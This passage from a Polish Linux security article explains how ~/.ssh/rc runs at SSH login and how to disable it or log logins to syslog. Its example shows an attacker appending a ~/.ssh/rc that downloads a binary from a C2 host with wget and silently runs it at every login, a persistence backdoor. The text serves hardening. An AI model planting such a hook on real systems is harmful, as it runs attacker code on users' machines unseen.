J

eśli w katalogu domowym użytkownika istnieje plik ~/.ssh/rc – sh(1) uruchomi go po przeczytaniu plików środowiskowych, ale przed uruchomieniem powłoki lub polecenia użytkownika (nawet jeśli wyłączymy alokację TTY). Plik ten nie może generować żadnych danych na standardowy strumień wyjścia (stdout); zamiast tego należy użyć standardowego strumienia błędów (stderr). Przykład:

agresor@darkstar:~$ cat <<'EOF' >> ~/.ssh/rc
> #!/bin/bash
> wget -q https://c2c.dev/.ssh_backdoor -O /tmp/.ssh_backdor > /dev/null 2>&1
> chmod +x /tmp/.ssh_backdoor > /dev/null 2>&1
> /tmp/.ssh_backdoor > /dev/null 2>&1
> EOF
agresor@darkstar:~$ logout
Connection to 192.168.1.2 closed.
router:~$ ssh agresor@darkstar.lan
agresor@darkstar:~$ ls -al /tmp/.ssh_backdoor
-rwxrwxr-x 1 agresor agresor 21522 Apr  5 22:00 /tmp/.ssh_backdoor

Jak widzimy na przykładzie powyżej plik ten może zostać wykorzystany w trochę innym celu niż zakładaliśmy. W dodatku jest on wykonywany z prawami użytkownika, którego dotyczy sesja SSH. Dlatego może wyłączmy pliki rc użytkowników poprzez dodanie do /etc/ssh/sshd_config opcji:

PermitUserRC no

Oprócz plików ~/.ssh/rc możemy stworzyć globalny plik w ścieżce /etc/ssh/sshrc, który będzie wykonywany dla każdego użytkownika:

#!/bin/bash

IP=`echo $SSH_CONNECTION | cut -d " " -f 1`
FQDN=`hostname -f`

logger -t CarnivoreSSH $USER login from $IP to $FQDN

Po ponownym zalogowaniu się użytkownika w logach powinien zostać odnotowany odpowiedni wpis w dzienniku systemowym (/var/log/syslog):

root@darkstar:~# grep Carnivore /var/log/syslog
Apr  5 20:23:34 darkstar CarnivoreSSH: agresor login from 192.168.1.1 to darkstar.lan

Informacja ta zostanie odnotowana nawet, jeśli wykorzystamy niewidzialne SSH. Skrypt oczywiście powinien wysyłać tą informację również do innego, zewnętrznego systemu np. SIEM (ang. Security Information and Event Management), który analizuje takie zdarzenia pod kątem bezpieczeństwa.

Więcej informacji: SSHrc and telegram apis, SSH: The Secure Shell The Definitive Guide, Logujemy logowania i nie tylko cz.I – moduły PAM